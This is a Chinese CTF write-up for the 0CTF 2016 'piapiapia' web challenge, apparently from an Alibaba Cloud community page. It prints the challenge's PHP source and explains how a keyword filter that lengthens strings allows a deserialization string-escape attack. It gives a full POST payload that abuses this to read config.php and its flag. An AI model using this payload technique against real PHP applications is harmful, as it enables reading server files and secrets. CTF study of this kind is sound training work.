BUU [0CTF 2016]piapiapia

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
简介: BUU [0CTF 2016]piapiapia

BUU [0CTF 2016]piapiapia

进去之后是个登录界面,抓包有一个cookie。感觉是十六进制,但是其实不是这样做,是应该扫描的。

buu什么都扫不出来,直接看源码。

/register.php是个注册界面,先注册一个账号。然后补充信息,啥都没有哈哈哈哈。

/www.zip访问一下,获得源码。

先看看哈,有用的如下:

<?php
  require_once('class.php');
  if($_SESSION['username']) {
    header('Location: profile.php');
    exit;
  }
  if($_POST['username'] && $_POST['password']) {
    $username = $_POST['username'];
    $password = $_POST['password'];

    if(strlen($username) < 3 or strlen($username) > 16)    //长度限制用数组绕过
      die('Invalid user name');

    if(strlen($password) < 3 or strlen($password) > 16) 
      die('Invalid password');

    if($user->login($username, $password)) {
      $_SESSION['username'] = $username;
      header('Location: profile.php');
      exit; 
    }
    else {
      die('Invalid user name or password');
    }
  }
  else {
?>
//config.php
<?php
  $config['hostname'] = '127.0.0.1';
  $config['username'] = 'root';
  $config['password'] = '';
  $config['database'] = '';
  $flag = '';              //服务器里面这个是有值的。
?>
//profile.php
<?php
  require_once('class.php');
  if($_SESSION['username'] == null) {
    die('Login First'); 
  }
  $username = $_SESSION['username'];
  $profile=$user->show_profile($username);          
  if($profile  == null) {
    header('Location: update.php');
  }
  else {
    $profile = unserialize($profile);      //profile.php 此处从数据库中取出序列化的$profile
    $phone = $profile['phone'];
    $email = $profile['email'];
    $nickname = $profile['nickname'];
    $photo = base64_encode(file_get_contents($profile['photo']));    //利用这个读取文件
?>
//update.php
<?php
  require_once('class.php');
  if($_SESSION['username'] == null) {
    die('Login First'); 
  }
  if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
//update.php里对传入的变量做了简单的检查
    $username = $_SESSION['username'];
    if(!preg_match('/^\d{11}$/', $_POST['phone']))
      die('Invalid phone');

    if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
      die('Invalid email');
    
    if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
      die('Invalid nickname');

    $file = $_FILES['photo'];
    if($file['size'] < 5 or $file['size'] > 1000000)
      die('Photo size error');

    move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
    $profile['phone'] = $_POST['phone'];
    $profile['email'] = $_POST['email'];
    $profile['nickname'] = $_POST['nickname'];    //photo不好改,nickname传东西使photo逃逸
    $profile['photo'] = 'upload/' . md5($file['name']);

    $user->update_profile($username, serialize($profile));
    echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
  }
  else {
?>

//update.php此处的serialize($profile)将会存入数据库
//class.php
<?php
require('config.php');

class user extends mysql{
  private $table = 'users';

  public function is_exists($username) {
    $username = parent::filter($username);             //在这里进行了替换,那不就可以反序列化字符串逃逸了

    $where = "username = '$username'";
    return parent::select($this->table, $where);
  }
  public function register($username, $password) {
    $username = parent::filter($username);
    $password = parent::filter($password);

    $key_list = Array('username', 'password');
    $value_list = Array($username, md5($password));
    return parent::insert($this->table, $key_list, $value_list);
  }
  public function login($username, $password) {
    $username = parent::filter($username);
    $password = parent::filter($password);

    $where = "username = '$username'";
    $object = parent::select($this->table, $where);
    if ($object && $object->password === md5($password)) {
      return true;
    } else {
      return false;
    }
  }
  public function show_profile($username) {
    $username = parent::filter($username);

    $where = "username = '$username'";
    $object = parent::select($this->table, $where);
    return $object->profile;
  }
  public function update_profile($username, $new_profile) {
    $username = parent::filter($username);
    $new_profile = parent::filter($new_profile);

    $where = "username = '$username'";
    return parent::update($this->table, 'profile', $new_profile, $where);
  }
  public function __tostring() {
    return __class__;
  }
}

class mysql {
  private $link = null;

  public function connect($config) {
    $this->link = mysql_connect(
      $config['hostname'],
      $config['username'], 
      $config['password']
    );
    mysql_select_db($config['database']);
    mysql_query("SET sql_mode='strict_all_tables'");

    return $this->link;
  }

  public function select($table, $where, $ret = '*') {
    $sql = "SELECT $ret FROM $table WHERE $where";
    $result = mysql_query($sql, $this->link);
    return mysql_fetch_object($result);
  }

  public function insert($table, $key_list, $value_list) {
    $key = implode(',', $key_list);
    $value = '\'' . implode('\',\'', $value_list) . '\''; 
    $sql = "INSERT INTO $table ($key) VALUES ($value)";
    return mysql_query($sql);
  }

  public function update($table, $key, $value, $where) {
    $sql = "UPDATE $table SET $key = '$value' WHERE $where";
    return mysql_query($sql);
  }

  public function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
  }
  public function __tostring() {
    return __class__;
  }
}
session_start();
$user = new user();
$user->connect($config);

思路:update.php中有一个¥ profile数组变量,这个数组里有 ¥phone, ¥email, ¥nickname, ¥photo几个变量,序列化后以profile字段存入数据库,而我们如果能控制photo变量为"config.php",则能在访问profile.php时获得base64编码之后的config.php源码。


知识点:反序列化字符串逃逸。


只有where——>hacker多了一个字符串


正常我反序列化一个字符串


a:4:


{s:5:“phone”;s:11:“15990231470”;s:5:“email”;s:17:“3539306573@qq.com”;s:8:“nickname”;s:3:"jay


";s:5:“photo”;s:39:“upload/f3b94e88bd1bd325af6f62828c8785dd”;}


如果我把jay(nickname)改成";}s:5:“photo”;s:10:“config.php”;} //长度34,注意s前面的花括号,是个坑点。


变成


a:4:


{s:5:“phone”;s:11:“15990231470”;s:5:“email”;s:17:“3539306573@qq.com”;s:8:“nickname”;s:34:“”;}s:5:“photo”;s:10:“config.php”;}


";s:5:“photo”;s:39:“upload/f3b94e88bd1bd325af6f62828c8785dd”;}


字符串长度多少,替换几次


坑点

提交的时候 需要将nickname转换为数组进行提交,我where33次,提交多次都都还是读取不到,报Warning: file_get_contents(): Filename cannot be empty in /var/www/html/profile.php on line 16,看了他们的payload后,发现在ncikname的s前面有 } 闭合,我就很纳闷,我平时序列化都是末尾才会有这个括号,后来经过验证,只要是数组,都会单独有个闭合。

payload:
phone=15990231470
email=3539306573@qq.com
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

改包发包,然后在profile.php页面ctrl+r看源码。

base64解码得到flag

相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
3月前
BUU [ZJCTF 2019]NiZhuanSiWei
BUU [ZJCTF 2019]NiZhuanSiWei
27 0
|
6月前
|
安全 网络协议 数据安全/隐私保护
陇剑杯 流量分析 CTF writeup
陇剑杯 流量分析 CTF writeup
|
6月前
|
SQL 安全 数据库
SQLI-Labs通关笔记(1-5)
SQLI-Labs通关笔记(1-5)
70 0
|
6月前
|
数据安全/隐私保护
BUUCTF [GUET-CTF2019]KO 1
BUUCTF [GUET-CTF2019]KO 1
81 0
|
11月前
|
存储 安全 PHP
ctf.show 愚人杯2
ctf.show 愚人杯
81 0
|
11月前
|
存储 数据安全/隐私保护 索引
ctf.show 愚人杯1
ctf.show 愚人杯
49 0
|
安全 测试技术 Shell
CTF竞赛 -- Shellcode学习
CTF竞赛 -- Shellcode学习
228 0
|
安全 Shell PHP
ctfshow原谅杯
ctfshow原谅杯
146 0
|
机器学习/深度学习 安全 网络安全
CTF-PWN资料与资源
CTF-PWN资料与资源